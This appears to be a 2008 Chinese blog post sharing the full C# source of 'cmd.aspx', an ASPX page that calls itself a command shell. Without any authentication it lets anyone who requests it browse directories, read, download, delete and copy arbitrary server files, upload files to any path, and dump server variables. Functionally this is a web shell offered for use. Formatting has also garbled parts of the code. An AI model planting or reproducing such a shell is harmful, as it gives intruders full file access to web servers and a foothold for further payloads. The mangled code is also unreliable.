openkava

专注物流系统,企业信息化,进出口业务,会展,电子商务 目标:CIO 架构师
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

自用aspx小工具 cmd.aspx v1.2

Posted on 2008-06-26 12:42  openkava  阅读(1722)  评论(0)    收藏  举报
<%@ Page Language="C#" ContentType="text/html"  validateRequest="false" aspcompat="true"%>
<% @Import Namespace="System.Drawing" %>
<% @Import Namespace="System.IO" %>
<% @Import Namespace="System.Drawing.Imaging" %>
<% 
 
        
            System.Web.HttpContext context 
= this.Context;
            System.Text.StringBuilder sb
=new System.Text.StringBuilder();
           
         
            
             
//获取参数
             string c=context.Request["c"]; //命令
             string p=context.Request["p"]; //命令需要参数
             if(c==null{c="dir";p=Server.MapPath(".");}
         
if(p==null) p="";   
             c
=c.Trim().ToLower();
             p
=p.Trim().ToLower();
                 
                 ShowHeader();
                  
                   
                  
// context.Request.SaveAs("f:\\request.txt",true);
                   
                   
//显示文件
                   if(c=="show")
                   
{
                            showFile(p);
                   }
 
                   
//显示目录 
                   if(c=="dir" )
                   
{   
                           dir(p);
             
                    }

                    
if(c=="down")
                   
{
                            DownLoadFile(p);
                   }

                   
if(c=="upload")
                   
{         if( p=="")
                                    ShowUpLoadForm();
                            
else
                                  UpLoadFile(
"");  
                   }
 
                   
if(c=="del")
                   
{
                            DelFile(p);
                   }
 
                   
if(c=="copy")
                   
{
                            CopyFile(p);
                   }
 
                   
if(c=="sysinfo")
                   
{
                            ShowSysInfo();
                   }
 
                    ShowFooter();
                     
             
          
     
         
     
  
%>
  
<script language="C#" runat="server">
     
        
private void ShowHeader()
        
{
            Response.Write(
"<html><head>Openkava Aspx Command Shell <br/><hr></head><body>");
          
//string path=Server.MapPath("dir.ashx");
           Response.Write("系统参数:</br><hr>");
           Response.Write(Server.MachineName
+"<br>");
           Response.Write(
"Physical path:"+Request.PhysicalApplicationPath +" <br/>");  
           Response.Write(
"virtual file path:"+Request.CurrentExecutionFilePath  +" <br/>");  
           Response.Write(
"virtual root path:"+Request.ApplicationPath   +" <br/>");  
           Response.Write(
"<hr><br>");
           Response.Write(
"usage1 : dir.ashx?c=dir&p=c:/<br>");
           Response.Write(
"usage2 : dir.ashx?c=show&p=c:/t.txt");
           Response.Write(
"<hr><br>"); 
           Response.Write(
"<a target=_self href='cmd.aspx?c=dir' > dir   </a>");
  
           Response.Write(
"<a target=_self href='cmd.aspx?c=upload&p=' > |Upload </a>");
            Response.Write(
"<a target=_self href='cmd.aspx?c=sysinfo&p=' > | System Infomation  </a>"); 
            Response.Write(
"<hr><br>");   
         }

         
private void ShowFooter()
        
{
     
             Response.Write(
"<hr><br/>");
             Response.Write(
"</body></html>");
             Response.Flush();
             Response.Close();        

             
         }

         
private void DelFile(string p)
        
{
              
try
              
{
                 System.IO.FileInfo f 
= new System.IO.FileInfo(p);
                 f.Delete();
                 Response.Write(
"Success Delete File : " +p);
             }

             
catch(Exception exp)
             
{
                 Response.Write(
"Error Delete File : " ++"   " + exp.Message);
             }

            

             
         }

         
private void CopyFile(string p)
        
{
              
try
              
{
                 System.IO.FileInfo f 
= new System.IO.FileInfo(p);
                 f.CopyTo(p
+".rar");
                 Response.Write(
"Success Copy  File : " +p);
             }

             
catch(Exception exp)
             
{
                 Response.Write(
"Error Copy File : " ++"   " + exp.Message);
             }

            

             
         }

        
private void dir(string p ) 
        
{
                            
if(p=="") p=Server.MapPath(".");
                            StringBuilder sb 
= new StringBuilder();
                            
//显示上一级目录
                           if(p.LastIndexOf("\\")>1)
                           
{
                                   
string pf=p.Substring(0,p.LastIndexOf("\\"));
                                 Response.Write(
"<a target=_self href='cmd.aspx?c=dir&p="+pf+"'>"+"上级目录"+"</a><br/>");
                           }

                           
                           System.IO.DirectoryInfo d
= new DirectoryInfo(p); //("f:\\usr\\cw3b058"); //
                            foreach (DirectoryInfo sub in d.GetDirectories())
                            
{
                                
                                Response.Write(
"<a target=_self href='cmd.aspx?c=dir&p="+sub.FullName+"'>"+sub.FullName+"</a><br/>");
                                 
                            }

                    
                            
foreach (FileInfo File in d.GetFiles())
                            
{
                                sb.Remove(
0,sb.Length); 
                                sb.Append(
"<a target=blank href='cmd.aspx?c=show&p="+File.FullName+"'>"+File.FullName+"</a>             ");
                                sb.Append(
"<a target=blank href='cmd.aspx?c=down&p="+File.FullName+"'>"+"   Download   "+"</a>");
                                sb.Append(
"<a target=blank href='"+File.Name+"'>"+"   View   "+"</a>");
                                sb.Append(
"<a target=blank href='cmd.aspx?c=del&p="+File.FullName+"'>"+"     Del    "+"</a>");
                                sb.Append(
"<a target=blank href='cmd.aspx?c=copy&p="+File.FullName+"'>"+"     Copy    "+"</a><br/>");
                                Response.Write(sb.ToString());
                            }

        }

        
private void showFile(string p) 
        
{
                    StringBuilder sb 
= new StringBuilder();
                    StreamReader objReader 
= new StreamReader(p);        
                   
string sLine="";
                   
while (sLine != null)
                    
{
                        sLine 
= objReader.ReadLine();
                        
if (sLine != null)
                            sb.Append(sLine
+"<br>");
                    }

              objReader.Close();
              Response.Write(sb.ToString());
     }
    
     
     
public   void   DownLoadFile(string   strDownFile)  
  
{  
       
//string   str=Server.MapPath(strDownFile);
       string   str= strDownFile;   
      
if(System.IO.File.Exists(str))  
      
{  
              System.IO.FileInfo   fi
=new   System.IO.FileInfo(str);  
              System.Web.HttpContext.Current.Response.Clear();  
              System.Web.HttpContext.Current.Response.ClearHeaders();  
              System.Web.HttpContext.Current.Response.Buffer   
=   false;  
              System.Web.HttpContext.Current.Response.ContentType   
=   "application/octet-stream";  
              System.Web.HttpContext.Current.Response.AppendHeader(
"Content-Disposition","attachment;filename="   +HttpUtility.UrlEncode(fi.FullName,System.Text.Encoding.UTF8));  
              System.Web.HttpContext.Current.Response.AppendHeader(
"Content-Length",fi.Length.ToString());  
              System.Web.HttpContext.Current.Response.WriteFile(fi.FullName);  
              System.Web.HttpContext.Current.Response.Flush();  
              System.Web.HttpContext.Current.Response.End();  
      }
  
      
else  
      
{  
             Response.Write(
"<script>  alert('文件未找到') <//script>");  
      }
  
    
  }

  
public   void  ShowUpLoadForm()  
  
{  
            StringBuilder sb 
= new StringBuilder();
          sb.Append(
"<form name='form1' method='post' action='cmd.aspx?c=upload&p=tt'  id='form1' enctype='multipart/form-data'>");
          sb.Append(
"<div><input type='file' name='FileUpload1' id='FileUpload1' //><br//>");
        sb.Append(
"<div><input type='file' name='FileUpload2' id='FileUpload2' //><br//>");
        sb.Append(
"<div>upload dir:<input   name='updir' id='updir' //><br//>");  
        
        sb.Append(
"<input type='submit' name='Button1' value='Upload File' id='Button1' //> <br//><br//> <span id='Label1'><//span>");
            sb.Append(
"</div></form>");
            Response.Write(sb.ToString());
    
  }

  
public   void  UpLoadFile(string updir)  
  

                                          
//string filepath = Server.MapPath(".");
                                          string filepath = System.Web.HttpContext.Current.Request["updir"];
                                           HttpFileCollection uploadedFiles 
= Request.Files;
                                        
string str="";
                                            
for (int i = 0; i < uploadedFiles.Count; i++)
                                            
{    
                                                   HttpPostedFile userPostedFile 
= uploadedFiles[i];
                                    
                                                        
try
                                                        
{    
                                                            
if (userPostedFile.ContentLength > 0 )
                                                            
{
                                                                str 
+= "File #" + (i+1+        "";
                                                                str 
+= "File Content Type: " + userPostedFile.ContentType + "";
                                                                str 
+= "File Size: " +     userPostedFile.ContentLength + "kb";
                                                                str 
+= "File Name: " + userPostedFile.FileName + "<br//>";
                                            
                                                                userPostedFile.SaveAs(filepath 
+ "\\" + System.IO.Path.GetFileName(userPostedFile.FileName));
                                            
                                                                str 
+= "Location where saved: " + filepath + "\\" +    System.IO.Path.GetFileName(userPostedFile.FileName)+"<br//>" ;
                                                            }
    
                                                        }
 
                                                        
catch (Exception Ex)
                                                        
{    
                                                            str 
+= "Error: " + Ex.Message;    
                                                        }

                                                        Response.Write(str);
                                                }
   
                                                
        }

        
         
public void ShowSysInfo()
         
{
          Response.Write(
"系统参数:</br><hr>");
           Response.Write(
"Machine Name:"+Server.MachineName+"<br>");
           Response.Write(
"Physical path:"+Request.PhysicalApplicationPath +" <br/>");  
           Response.Write(
"virtual file path:"+Request.CurrentExecutionFilePath  +" <br/>");  
           Response.Write(
"virtual root path:"+Request.ApplicationPath   +" <br/>"); 
          
           
foreach(object o in Request.ServerVariables.Keys)
            
{
              Response.Write(o.ToString()
+ ":" +Request.ServerVariables[o.ToString()].ToString()+     "<hr><br>");
            }

         }

    
</script>